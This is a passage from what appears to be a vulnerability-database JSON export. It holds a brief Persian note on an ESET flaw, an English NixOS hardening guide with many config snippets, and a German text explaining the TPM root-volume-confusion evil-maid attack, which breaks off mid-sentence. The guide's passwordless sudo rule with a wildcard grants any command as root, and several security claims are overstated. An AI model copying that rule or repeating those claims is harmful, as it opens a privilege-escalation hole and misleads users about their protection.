\u0628\u0627\u0639\u062b \u062f\u0631\u0647\u0645 \u0634\u06a9\u0633\u062a\u0646 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0645\u06cc\u200c\u0634\u0648\u062f. \u0634\u0631\u06a9\u062a ESET \u0628\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc POCO \u0648 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u062f\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0645\u062d\u0635\u0648\u0644 \u062e\u0648\u062f\u060c \u0628\u0647\u200c\u0637\u0648\u0631\u06cc \u06a9\u0647 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc SSL \u0631\u0627 \u0628\u0647\u200c\u062f\u0631\u0633\u062a\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc \u0628\u06a9\u0646\u062f\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a ESET \u06a9\u0634\u0641 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0645\u06cc\u0644\u0627\u062f\u06cc \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062d\u06cc\u0627\u062a\u06cc \u0631\u0627 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0648 OS X \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u06af\u06cc\u0631\u062f.", "creation_timestamp": "2026-08-06T00:00:30.401903Z"}, {"uuid": "e33665bb-c881-42a0-9324-b4180227371e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://gist.github.com/DI0IK/b694629c8010b25b9bae5259ace9dcfa", "content": "# The Ultimate 0.01% NixOS Security & Isolation Guide\n### A Declarative Blueprint for Ephemeral Host Architectures (tmpfs + impermanence)\nThis master guide consolidates every advanced security, cryptographic, and network isolation strategy discussed. It is designed specifically for an ephemeral NixOS stack, shifting your posture from user-space configuration patching to hardware-enforced and virtualized-boundary isolation.\n## Table of Contents\n 1. **Hardware & Physical Security** (USBGuard, DMA Guarding)\n 2. **Platform Integrity & Boot Security** (Lanzaboote, Multi-LUKS, TPM2 + FIDO2 Cryptenroll)\n 3. **Kernel Hardening & Memory Defenses** (NixOS Hardened Profile, LKRG, Shadow Stacks, Namespaces)\n 4. **Strict Network Isolation** (netns VPN namespaces)\n 5. **Privilege & Input Isolation** (SUID Eradication, XWayland Disabling, Service Sandboxing)\n 6. **Hardware-Virtualized Application Isolation** (microvm.nix sandbox)\n## 1. Hardware & Physical Security\n### Physical Port Guarding (USBGuard)\nUSBGuard protects your laptop from rogue hardware inputs (such as USB Rubber Duckies or malicious charging ports) by locking down newly connected USB devices.\n```nix\n# usb-security.nix\n{ config, pkgs, ... }: {\n  services.usbguard = {\n    enable = true;\n    implicitPolicyTarget = \"block\"; # Reject everything not explicitly whitelisted\n    \n    # Generate this using `usbguard list-devices` on your host.\n    # Be sure to include your laptop's built-in keyboard, touchpad, and trusted keys.\n    allowedDevices = [\n      \"046d:c52b\" # Example: Internal Input Controller\n      \"1050:0407\" # Example: Trusted YubiKey 5\n    ];\n  };\n}\n\n```\n### Direct Memory Access (DMA) & IOMMU Hardening\nBlock physical DMA attacks (via Thunderbolt/USB4 ports using tools like PCILeech) from dumping your system RAM to steal keys while your lock screen is active.\n```nix\n# hardware-hardening.nix\n{ config, pkgs, ... }: {\n  boot.kernelParams = [\n    \"iommu=force\"               # Enforce hardware IOMMU page tables\n    \"intel_iommu=on\"             # (Set to \"amd_iommu=on\" for AMD CPUs)\n    \"iommu.passthrough=0\"       # Prevent bypass of IOMMU translation layers\n    \"efi=disable_early_pci_dma\"  # Block early boot DMA attacks during transition to kernel\n    \"ibt=on\"                    # Hardware-enforced Indirect Branch Tracking\n  ];\n}\n\n```\n## 2. Platform Integrity & Boot Security\n### Lanzaboote (Secure Boot Integration)\nAn immutable rootkit defense. Lanzaboote signs your NixOS generation kernels and initrd files, ensuring your boot stages haven't been modified on your unencrypted EFI partition.\n```nix\n# secure-boot.nix\n{ config, pkgs, lib, inputs, ... }: {\n  # Import Lanzaboote NixOS module from your Flake inputs\n  imports = [ inputs.lanzaboote.nixosModules.lanzaboote ];\n\n  # Lanzaboote replaces standard systemd-boot\n  boot.loader.systemd-boot.enable = lib.mkForce false;\n\n  boot.lanzaboote = {\n    enable = true;\n    pkiBundle = \"/etc/secureboot\"; # Storage path for generated signing keys\n  };\n}\n\n```\n*Note: You must generate keys in /etc/secureboot once using the sbctl tool before booting with this active.*\n### Multi-LUKS Cold Storage Strategy\nDecouple system boots from private data. LUKS_SYSTEM boots automatically via TPM2 + FIDO2 keys. Your actual sensitive data (LUKS_DATA) contains your /persist Btrfs subvolume and **never** decrypts automatically\u2014requiring a separate manual, high-entropy password when you log in.\n```nix\n# multi-luks-boot.nix\n{ config, pkgs, ... }: {\n  boot.initrd.luks.devices = {\n    # System Partition (Automated via Hardware TPM2 + FIDO2 Interlocking)\n    \"LUKS_SYSTEM\" = {\n      device = \"/dev/nvme0n1p2\"; \n      crypttabExtraOpts = [ \n        \"tpm2-device=auto\" \n        \"fido2-device=auto\" \n      ];\n    };\n    \n    # High-Value Data Partition (Pure Cold Storage - Always prompts for passphrase)\n    \"LUKS_DATA\" = {\n      device = \"/dev/nvme0n1p3\";\n      # Intentionally blank crypttabExtraOpts to prevent TPM binding\n    };\n  };\n}\n\n```\n*To bind your System LUKS container to your TPM2 PCR states and FIDO2 token:*\n```bash\nsudo systemd-cryptenroll /dev/nvme0n1p2 --tpm2-device=auto --tpm2-pcrs=0+7 --fido2-device=auto\n\n```\n## 3. Kernel Hardening & Memory Defenses\n### Native NixOS Hardened Profile & Allocators\nImporting the upstream hardening module enables robust default sysctl variables and swaps standard Glibc memory allocation strategies for **Scudo** (the security-focused memory allocator), safely preventing heap corruption without breaking the Nix compiler toolchain.\n```nix\n# hardened-profile.nix\n{ config, pkgs, modulesPath, ... }: {\n  imports = [\n    # Pull in the system-wide hardened profile from Nixpkgs\n    \"${modulesPath}/profiles/hardened.nix\"\n  ];\n\n  # Allow the Nix compiler to continue building cleanly\n  nix.settings.sandbox = true;\n}\n\n```\n### LKRG (Linux Kernel Runtime Guard) & Shadow Stacks\nDetect post-exploitation attempts inside memory. LKRG validates the integrity of the active kernel compiled in memory and halts running processes that attempt unprivileged root-escalation.\n```nix\n# lkrg-cet.nix\n{ config, pkgs, lib, ... }: {\n  boot.kernelPackages = pkgs.linuxPackages_latest.extend (self: super: {\n    kernel = super.kernel.override {\n      structuredExtraConfig = with lib.kernel; {\n        X86_USER_SHADOW_STACK = yes; # Hardware-level Shadow Stacks\n      };\n    };\n  });\n\n  # Load the LKRG module\n  boot.extraModulePackages = [ config.boot.kernelPackages.lkrg ];\n}\n\n```\n### Eliminating Unprivileged User Namespaces\nOnce your apps are moved into virtualized MicroVM spaces (Section 6), you can safely close the most common exploit vector for local kernel privilege escalations:\n```nix\n# namespace-lock.nix\n{ config, ... }: {\n  boot.kernel.sysctl = {\n    \"kernel.unprivileged_userns_clone\" = 0;\n  };\n}\n\n```\n## 4. Strict Network Isolation (netns Namespaces)\nTraditional firewalls can fail during network state changes. By isolating your physical network interface or VPN client into a strictly isolated Linux Network Namespace (netns), applications outside that namespace have **no logical routing paths to the internet**. Communication is only possible if explicitly spawned inside the VPN namespace.\n```nix\n# netns-vpn.nix\n{ config, pkgs, ... }: {\n  # 1. Create a systemd service that initializes the isolated network namespace at boot\n  systemd.services.netns-vpn = {\n    description = \"Isolated Secure VPN Network Namespace\";\n    wantedBy = [ \"multi-user.target\" ];\n    after = [ \"network.target\" ];\n    serviceConfig = {\n      Type = \"oneshot\";\n      RemainAfterExit = true;\n      ExecStart = pkgs.writeShellScript \"netns-vpn-start\" ''\n        # Create namespace\n        ${pkgs.iproute2}/bin/ip netns add vpn\n        \n        # Bring up loopback interface inside namespace\n        ${pkgs.iproute2}/bin/ip netns exec vpn ${pkgs.iproute2}/bin/ip link set lo up\n        \n        # NOTE: At this stage, configure your Wireguard configuration, routing tables, \n        # or physical interface pass-through exclusively within the 'vpn' namespace context.\n      '';\n      ExecStop = pkgs.writeShellScript \"netns-vpn-stop\" ''\n        ${pkgs.iproute2}/bin/ip netns del vpn\n      '';\n    };\n  };\n\n  # 2. Add an unprivileged user helper script to spawn apps in the namespace securely\n  environment.systemPackages = [\n    (pkgs.writeShellScriptBin \"vpn-run\" ''\n      if [ -z \"$1\" ]; then\n        echo \"Usage: vpn-run \"\n        exit 1\n      fi\n      # Spawns target command inside the network namespace\n      exec sudo ${pkgs.iproute2}/bin/ip netns exec vpn sudo -u \"$USER\" \"$@\"\n    '')\n  ];\n  \n  # Allow your user to run the ip netns command with sudo without a password prompt\n  security.sudo.extraRules = [\n    {\n      users = [ \"youruser\" ]; # Replace with your local user name\n      commands = [\n        {\n          command = \"${pkgs.iproute2}/bin/ip netns exec vpn *\";\n          options = [ \"NOPASSWD\" ];\n        }\n      ];\n    }\n  ];\n}\n\n```\n## 5. Privilege & Input Isolation\n### SUID/SGID Wrapper Eradication\nTraditional SUID binaries allow arbitrary tools to run temporarily as root. This strips all default NixOS wrappers down to only sudo and passwd.\n```nix\n# wrapper-reduction.nix\n{ config, pkgs, lib, ... }: {\n  security.wrappers = lib.mkForce {\n    sudo = {\n      owner = \"root\";\n      group = \"root\";\n      setuid = true;\n      source = \"${pkgs.sudo}/bin/sudo\";\n    };\n    passwd = {\n      owner = \"root\";\n      group = \"root\";\n      setuid = true;\n      source = \"${pkgs.shadow}/bin/passwd\";\n    };\n  };\n}\n\n```\n### Sandboxing System Backups (BorgBackup Cgroups)\nPrevent a compromised user app from stealing backup keys or manipulating historical records.\n```nix\n# backup-sandbox.nix\n{ config, pkgs, ... }: {\n  systemd.services.borgbackup-job = {\n    serviceConfig = {\n      ProtectHome = \"read-only\"; \n      PrivateTmp = true;\n      ProtectSystem = \"strict\";\n      CapabilityBoundingSet = \"\"; # Nullify system capabilities\n      DevicePolicy = \"closed\";    # Disable direct hardware device access\n      ReadWritePaths = [ \"/persist/cache/borg\" ];\n    };\n  };\n}\n\n```\n### Complete XWayland Deletion\nStrip legacy X11 compatibility out of modern Wayland compositors to prevent cross-application keylogging and screen sniffing.\n```nix\n# wayland-pure.nix\n{ config, pkgs, ... }: {\n  # Example for Hyprland. Adapt as needed for your specific compositor module.\n  programs.hyprland = {\n    enable = true;\n    xwayland.enable = false; # Complete X11 execution bridge removal\n  };\n}\n\n```\n## 6. Hardware-Virtualized Application Isolation (MicroVMs)\nInstead of sharing the host kernel via namespaces (nixpak / bubblewrap), run your web browser and chat apps on their own separate kernels using the KVM-backed microvm.nix framework.\nYour VM shares your host's Nix store as a read-only filesystem, boots in milliseconds, and routes Wayland and audio back to your host desktop via virtio-gpu and Pipewire.\n```nix\n# microvm-browser.nix\n{ config, pkgs, lib, inputs, ... }: {\n  imports = [ inputs.microvm.nixosModules.host ];\n\n  microvm.vms.untrusted-browser = {\n    autostart = false; # Launched manually via user terminal or shortcut\n    \n    config = {\n      imports = [ inputs.microvm.nixosModules.microvm ];\n      \n      microvm = {\n        hypervisor = \"cloud-hypervisor\"; \n        vcpu = 2;                        \n        mem = 4096;                      \n        graphics.enable = true; # Autoproxy guest graphics to host Wayland socket\n        \n        shares = [ {\n          proto = \"virtiofs\";\n          tag = \"ro-store\";\n          source = \"/nix/store\";\n          mountPoint = \"/nix/store\";\n        } ];\n      };\n\n      environment.systemPackages = [ \n        pkgs.firefox \n        pkgs.pipewire # Audio passthrough\n      ];\n\n      networking.microvm.enable = true;\n      \n      users.users.guestuser = {\n        isNormalUser = true;\n        extraGroups = [ \"video\" \"audio\" ];\n      };\n    };\n  };\n}\n\n```\nTo run your hardware-isolated web browser:\n```bash\nmicrovm -r untrusted-browser\n\n```\n# NixOS Apex Paranoia: The 0.0001% Tier\n### Defending Against Silicon, Supply Chains, and State-Level Interdiction\nIf your machine utilizes hardware-virtualized MicroVMs, tmpfs, multi-LUKS, LKRG, and strict network namespaces, the Operating System is virtually impenetrable to software attacks.\nAn attacker with a multi-million dollar budget will therefore bypass your OS entirely. They will target your **Hardware Firmware**, your **CPU Architecture**, and your **Software Supply Chain**. Here is how you seal the final cracks in reality.\n## 1. The Silicon & Firmware Layer\nRight now, you use Lanzaboote (Secure Boot) to ensure the firmware hasn't loaded a malicious kernel. But **who is checking the firmware itself?** If an intelligence agency intercepts your laptop in transit and flashes a persistence implant directly to your motherboard's SPI flash chip, Secure Boot will lie to you, telling you everything is fine.\n### The \"Reverse Evil Maid\" Defense: Coreboot + Heads\nYou must replace your proprietary UEFI firmware with an open-source, auditable boot ROM.\n * **The Move:** Flash your motherboard with **Coreboot**, paired with the **Heads** payload.\n * **How it Works:** Heads uses your TPM to measure the firmware and /boot files, but instead of just booting silently, it cryptographically signs a Time-Based One-Time Password (TOTP).\n * **The Defensive Leap:** When you turn on your laptop, the screen displays a 6-digit code. You check this against an Authenticator app on your smartphone. If the code matches, **the laptop is proving to YOU** that its physical motherboard firmware has not been tampered with since you last turned it off.\n### Intel ME / AMD PSP Neutralization\nModern Intel and AMD processors have a separate, hidden \"Ring -3\" coprocessor (Intel Management Engine or AMD Platform Security Processor). It runs its own proprietary OS, has full access to your RAM, and its own network stack\u2014completely invisible to NixOS.\n * **The Move:** You must physically neutralize it. Run me_cleaner to overwrite the Intel ME partitions on the SPI flash, or purchase hardware specifically manufactured with disabled management engines (e.g., NovaCustom, System76, or older ThinkPads).\n## 2. Annihilating Hardware Side-Channels\nCPU vulnerabilities like Spectre, Meltdown, and their newer variants (Downfall, Zenbleed) rely on exploiting CPU instruction prediction and Hyper-Threading (SMT). Malicious code running in one CPU thread can measure the timing of cache access to steal encryption keys from a completely separate thread (even breaking out of your MicroVMs).\n### Disabling Hyper-Threading (SMT)\nWhile the NixOS hardened profile enables software mitigations, the only mathematically guaranteed way to prevent cross-thread side-channel leaks is to physically disable SMT in the kernel.\n * **The Trade-off:** You will lose roughly 20-30% of your CPU's multi-tasking performance.\n```nix\n# cpu-paranoia.nix\n{ config, ... }: {\n  boot.kernelParams = [\n    # Force all CPU mitigations on, and physically disable SMT/Hyperthreading\n    \"mitigations=auto,nosmt\"\n    \n    # Disable kernel crash dumps (prevents dumping RAM via kexec)\n    \"crashkernel=0\" \n    \n    # Randomize kernel stack offset on every system call\n    \"randomize_kstack_offset=on\" \n  ];\n}\n\n```\n## 3. The Supply Chain: Absolute Build Sovereignty\nNixOS relies on binary caches (cache.nixos.org). When you run nixos-rebuild switch, your computer downloads pre-compiled binaries built by NixOS infrastructure.\nIf a hostile state actor compromises the Nix cache servers, they could serve your specific IP address a backdoored version of ssh or firefox. Because it matches the Nix hash derivation on their end, your system would accept it.\n### The Source-Only Purist Model\nTo achieve absolute supply-chain sovereignty, you must instruct Nix to **never trust the internet for pre-compiled binaries**.\n * **The Move:** Disable substituters. Your laptop will download the raw, auditable source code for every single package on your system, and compile your entire operating system locally from scratch.\n * **The Trade-off:** Rebuilding your system after an update will take days, depending on your CPU. Compiling WebKit/Chromium from source is notoriously brutal.\n```nix\n# absolute-sovereignty.nix\n{ config, lib, ... }: {\n  nix.settings = {\n    # Hard-disable all binary caches. Do not trust pre-compiled code.\n    substituters = lib.mkForce [ \"\" ];\n    \n    # Require cryptographic signatures for any flake inputs\n    require-sigs = true;\n  };\n}\n\n```\n## 4. Hardware-Backed PIV / Smartcard Exclusivity\nEven with your data LUKS partition guarded, you likely have SSH keys, GPG keys, and age keys sitting in your /persist folder as files. If your data partition is decrypted and an advanced exploit somehow gets into your filesystem, they can copy those files.\n### The Air-Gapped Key Generation\n 1. Boot a separate, air-gapped laptop with a live NixOS USB (no hard drive, networking physically disabled).\n 2. Generate your master GPG, SSH, and Age decryption keys.\n 3. Load them onto two hardware tokens (e.g., YubiKey 5) into the **PIV (Personal Identity Verification) Smartcard** slots.\n 4. Destroy the live USB. The master keys literally do not exist anywhere on Earth except inside the secure element of those two YubiKeys.\n * **The Defensive Leap:** Configure NixOS pcscd and ssh-agent to only interact with the smartcard. Whenever you SSH into a server, sign a git commit, or decrypt a secret, **the computation happens inside the YubiKey's processor**. The private key never enters your laptop's RAM. Even if your machine is fully compromised by root malware, they cannot steal a key that is physically unexportable from the smartcard.\n```nix\n# smartcard-enforcement.nix\n{ config, pkgs, ... }: {\n  services.pcscd.enable = true;\n  \n  # Force SSH to use the GPG agent mapped to your Smartcard\n  programs.ssh.startAgent = false;\n  programs.gnupg.agent = {\n    enable = true;\n    enableSSHSupport = true;\n  };\n}\n\n```\n## 5. Defense-in-Depth for the Host (AppArmor over systemd)\nYou have isolated your user apps with MicroVMs, but what about the background host services? (e.g., NetworkManager, Bluetooth daemon, chrony NTP daemon). A vulnerability parsing a maliciously crafted Wi-Fi packet or NTP timestamp could compromise a background daemon.\n### Host-Level AppArmor Strict Confinement\nEnable AppArmor and explicitly apply confining profiles to every system service, so even if the network manager is exploited, it is kernel-blocked from reading /persist or running a shell.\n```nix\n# host-mac.nix\n{ config, pkgs, ... }: {\n  security.apparmor = {\n    enable = true;\n    killUnconfined = false; # Set to true for absolute restriction (breaks many things)\n  };\n\n  # Enforce AppArmor profiles on all core network services\n  systemd.services.NetworkManager.serviceConfig.AppArmorProfile = \"default\";\n  systemd.services.wpa_supplicant.serviceConfig.AppArmorProfile = \"default\";\n}\n\n```\n\n\n# Architektur und Implementierung eines maximal geh\u00e4rteten NixOS-Systems zur Abwehr von Nation-State-Bedrohungen\n## 1. Architektonische Grundlagen und Paradigmenwechsel der Systemsicherheit\nDie Absicherung eines Endger\u00e4ts gegen hochgradig ressourcenstarke Angreifer, wie beispielsweise staatliche Akteure (Advanced Persistent Threats, APTs), erfordert einen fundamentalen Paradigmenwechsel in der Systemarchitektur. Ein klassisches, zustandsbehaftetes Betriebssystem akkumuliert \u00fcber die Zeit unweigerlich Konfigurationsdrifts, verwaiste Abh\u00e4ngigkeiten und nicht auditierte Systemzust\u00e4nde. Diese kontinuierlich wachsende digitale Entropie bietet fortgeschrittenen Angreifern eine ideale und kaum zu \u00fcberwachende Angriffsfl\u00e4che f\u00fcr die Etablierung von Persistenz, Privilege Escalation und lateraler Netzwerkausbreitung. Klassische Abwehrma\u00dfnahmen, die auf der nachtr\u00e4glichen Erkennung von Signaturen basieren, versagen bei Zero-Day-Exploits und hochgradig polymorpher Schadsoftware routinem\u00e4\u00dfig.\nNixOS bietet durch sein deklaratives, funktionales und mathematisch reproduzierbares Design eine einzigartige Grundlage zur Abwehr derartiger Bedrohungen. Die Konfiguration des gesamten Systems wird durch eine zentrale, versionskontrollierte Spezifikation definiert, welche deterministisch in read-only Verzeichnisse kompiliert wird. Dies eliminiert schleichende Konfigurationsdrifts und erm\u00f6glicht ein Systemdesign, das auf den Prinzipien der totalen Zustandslosigkeit (Impermanence), der kryptographischen Verifikation der gesamten Boot-Kette und der strikten Isolation von Laufzeitumgebungen basiert.\nDas Bedrohungsmodell f\u00fcr die in diesem Dokument beschriebene Architektur geht von extrem ressourcenstarken Angriffsvektoren aus. Dazu z\u00e4hlen physische Angriffe (sogenannte Evil-Maid-Szenarien), bei denen Angreifer unverschl\u00fcsselte Boot-Partitionen modifizieren, kryptographische Schl\u00fcssel aus TPM-Chips durch Bus-Sniffing extrahieren oder kompromittierte Hardware-Komponenten wie b\u00f6sartige USB-Peripherie einbringen. Ebenso ber\u00fccksichtigt das Modell ausgefeilte Supply-Chain-Angriffe, bei denen Software-Abh\u00e4ngigkeiten auf den Distributionsservern manipuliert werden, sowie die Ausnutzung unbekannter Schwachstellen (Zero-Day-Exploits) in Kernel-Modulen, Netzwerktreibern oder Display-Protokollen. Die nachfolgende, ersch\u00f6pfende Architekturspezifikation definiert ein kompromissloses Zero-Trust-Endger\u00e4t, das auf jeder Ebene der Abstraktion \u2013 von der System-Firmware bis zur grafischen Applikationsschicht \u2013 mit maximalen Verteidigungsmechanismen ausgestattet ist.\n## 2. Hardware-Vertrauensanker und kryptographische Firmware-Sicherheit\nDie softwareseitige Sicherheit des gesamten Systems ist fundamental wertlos, wenn der anf\u00e4ngliche Boot-Prozess auf der Hardwareebene kompromittiert werden kann. Die Etablierung einer l\u00fcckenlosen \"Chain of Trust\" vom Initialisieren der Hardware durch den Prozessor bis zum vollst\u00e4ndigen Einh\u00e4ngen des verschl\u00fcsselten Root-Dateisystems ist zwingend erforderlich.\n### 2.1 Modifikation der UEFI-Firmware und Schl\u00fcsselverwaltung\nDer erste Angriffspunkt eines physischen Angreifers ist die UEFI-Firmware (Unified Extensible Firmware Interface). Ein grundlegender Schutzmechanismus ist die Vergabe eines extrem starken, kryptographisch entropischen BIOS-Administratorkennworts. Dieses Kennwort verhindert, dass ein Angreifer mit kurzzeitigem physischen Zugang die Boot-Reihenfolge \u00e4ndert, Secure Boot deaktiviert oder schadhafte OptionROM-Module in die Startsequenz integriert.\nStandardm\u00e4\u00dfig unterst\u00fctzt NixOS keinen Out-of-the-Box Secure Boot. Die Implementierung erfolgt stattdessen \u00fcber das Projekt Lanzaboote, welches Secure Boot f\u00fcr das funktionale Paradigma von NixOS nutzbar macht. Secure Boot stellt als essenzielles UEFI-Feature sicher, dass die Firmware ausschlie\u00dflich Betriebssystem-Komponenten ausf\u00fchrt, die mit vertrauensw\u00fcrdigen, vorab in der Hardware hinterlegten kryptographischen Schl\u00fcsseln signiert wurden. Lanzaboote nutzt hierf\u00fcr zwei interagierende Hauptkomponenten: lzbt und einen dedizierten stub. Das Kommandozeilenwerkzeug lzbt ist daf\u00fcr verantwortlich, die Boot-Dateien auf der EFI System Partition (ESP) zu signieren und zu installieren. Der stub fungiert als kleine UEFI-Anwendung, welche den eigentlichen NixOS-Kernel sowie die initiale Ramdisk (initrd) von der ESP in den Arbeitsspeicher l\u00e4dt. Im Gegensatz zu alternativen L\u00f6sungen wie dem systemd-stub, bei dem f\u00fcr jede einzelne NixOS-Generation der Kernel und die initrd physisch dupliziert werden m\u00fcssen, erlaubt der Lanzaboote-Stub eine effiziente Deduplizierung dieser Dateien. Dies geschieht ohne jeglichen Kompromiss bei der Sicherheit und verhindert das Volllaufen der ohnehin oft knapp bemessenen EFI-Partition.\n### 2.2 Der Setup Mode und die Behandlung von Microsoft-Zertifikaten\nUm Secure Boot gegen staatliche Akteure abzusichern, m\u00fcssen die werkseitig installierten Schl\u00fcssel (die sogenannten OEM-Schl\u00fcssel von Microsoft) kritisch bewertet und durch eine Custom Public Key Infrastructure (PKI) ersetzt werden. Die UEFI-Firmware des Laptops muss hierf\u00fcr zun\u00e4chst in den sogenannten \"Setup Mode\" versetzt werden, was die Hardware f\u00fcr die Einschreibung eigener Schl\u00fcssel \u00f6ffnet. Es werden eigene Platform Keys (PK), Key Exchange Keys (KEK) und Signature Database Keys (db) generiert.\nEin spezifisches Risiko besteht bei bestimmten Hardware-Architekturen, insbesondere bei modernen modularen Ger\u00e4ten wie den Laptops des Herstellers Framework. Die Firmware dieser Ger\u00e4te weist oftmals Bugs auf, bei denen die Funktion \"Erase all Secure Boot Settings\" f\u00e4lschlicherweise nicht nur die erlaubten Schl\u00fcssel, sondern auch die Forbidden Signature Database (dbx) unwiderruflich l\u00f6scht. Eine gel\u00f6schte oder veraltete dbx ist ein katastrophales Sicherheitsrisiko, da sie es einem Angreifer erm\u00f6glicht, kryptographisch signierte, aber veraltete und mittlerweile bekannte Schwachstellen aufweisende Bootloader (wie verwundbare GRUB-Versionen) zu starten. Um dieses Risiko zu umgehen, muss der manuelle Prozess zum L\u00f6schen einzelner PK-, KEK- und DB-Eintr\u00e4ge iterativ durchlaufen werden.\nW\u00e4hrend der Einschreibung der eigenen Schl\u00fcssel mittels sbctl enroll-keys muss zudem eine feingranulare Entscheidung bez\u00fcglich der Kompatibilit\u00e4t getroffen werden. W\u00e4hrend des Boot-Vorgangs laden moderne Grafikkarten und Netzwerkcontroller eigene Firmware-Module, die sogenannten OptionROMs. Diese sind fast ausschlie\u00dflich mit Microsoft-Schl\u00fcsseln signiert. Werden die Microsoft-Zertifikate bei der Schl\u00fcsseleinschreibung vollst\u00e4ndig verbannt, verweigert die Hardware die Ausf\u00fchrung dieser Module, was in einem nicht bootf\u00e4higen System (\"Bricking\") resultieren kann. Es wird daher empfohlen, den Parameter --microsoft tempor\u00e4r beizubehalten, um OEM-OptionROMs zuzulassen, oder alternativ den Schalter --firmware-builtin zu verwenden, der die werkseitig in der Firmware fest verdrahteten Schl\u00fcssel beibeh\u00e4lt, was insbesondere f\u00fcr zuk\u00fcnftige Firmware-Updates durch den Hardware-Vendor essenziell ist.\nZuk\u00fcnftige Iterationen von Lanzaboote zielen darauf ab, das hochkomplexe Schl\u00fcsselmanagement auszubauen. W\u00e4hrend aktuell die Schl\u00fcsselpaare zwingend lokal auf dem Dateisystem unter /etc/secureboot abgelegt werden m\u00fcssen, sind Hardware-Security-Module (HSM) wie YubiKeys \u00fcber PKCS#11-Schnittstellen sowie Remote-Signing-Server in der Entwicklung. Bis dahin m\u00fcssen die lokalen Schl\u00fcsselverzeichnisse durch extrem restriktive Berechtigungen und dedizierte Backup-Strategien gesch\u00fctzt werden.\n## 3. Festplattenverschl\u00fcsselung und die Schwachstellen von TPM 2.0\nDie Verschl\u00fcsselung des physischen Datentr\u00e4gers via LUKS2 (Linux Unified Key Setup) bietet in Kombination mit dem TPM 2.0-Chip (Trusted Platform Module) eine robuste Verteidigungslinie gegen Datendiebstahl. Jedoch sind standardm\u00e4\u00dfige TPM-Implementierungen, wie sie h\u00e4ufig \u00fcber systemd-cryptenroll oder Clevis eingerichtet werden, eklatant verwundbar.\n### 3.1 Anatomie des Root-Volume-Konfusionsangriffs\nDie intendierte Funktion des TPMs besteht darin, ein kryptographisches Geheimnis (den Entschl\u00fcsselungs-Key des LUKS2-Volumes) nur dann freizugeben, wenn das System in einem bekannten, unver\u00e4nderten Zustand bootet. Dieser Zustand wird in den Platform Configuration Registers (PCRs) gemessen. Standard-Tutorials binden das Geheimnis meist an PCR 7, welches den Status der Secure Boot-Autorit\u00e4ten (welche Schl\u00fcssel sind g\u00fcltig) misst.\nDiese singul\u00e4re Bindung an PCR 7 erm\u00f6glicht den sogenannten \"Root Volume Confusion Attack\". Bei der Architektur moderner Linux-Systeme muss die initiale Ramdisk (initrd) zwangsl\u00e4ufig auf einer unverschl\u00fcsselten Boot-Partition (ESP) liegen, damit die UEFI-Firmware diese laden kann. Ein Angreifer mit physischem Zugriff (Evil Maid) ben\u00f6tigt nur etwa zehn Minuten, um die ESP auszulesen und zu analysieren, wie die initrd das System entschl\u00fcsselt. Der Angreifer kann anschlie\u00dfend die eigentliche verschl\u00fcsselte Festplatte klonen, ausbauen und durch eine eigene Festplatte ersetzen. Auf dieser pr\u00e4parierten Festplatte erstellt der Angreifer eine gef\u00e4lschte LUKS-Partition, deren Kennwort er selbst generiert hat. Wichtig hierbei ist, dass die UUIDs, Labels und Partlabel der gef\u00e4lschten Partition exakt mit denen des Originals \u00fcbereinstimmen.\nWenn der Angreifer nun den Computer startet, bootet die UEFI-Firmware den vollkommen legitimen, originalen Kernel und die originale initrd von der unverschl\u00fcsselten ESP. Da der Bootloader nicht manipuliert wurde und Secure Boot aktiviert bleibt, ist der Wert in PCR 7 v\u00f6llig korrekt. Das TPM gibt daraufhin gutgl\u00e4ubig den geheimen Entschl\u00fcsselungs-Key f\u00fcr das originale System in den Arbeitsspeicher frei. Die initrd sucht nun nach der verschl\u00fcsselten Partition, findet die gef\u00e4lschte Partition des Angreifers (die die gleichen UUIDs tr\u00e4gt) und bootet diese. Der Angreifer hat nun ein von ihm kontrolliertes Betriebssystem hochgefahren, besitzt Root-Rechte und kann den vom TPM freigegebenen originalen Masterkey, der sich noch im RAM befindet, auslesen, um damit die zuvor gestohlene originale Festplatte zu entschl\u00fcsseln.\n### 3.2 Kryptographische Mitigation durch PCR 15\nUm diese fundamentale Schwachstelle zu schlie\u00dfen, muss die Architektur so umgestaltet werden, 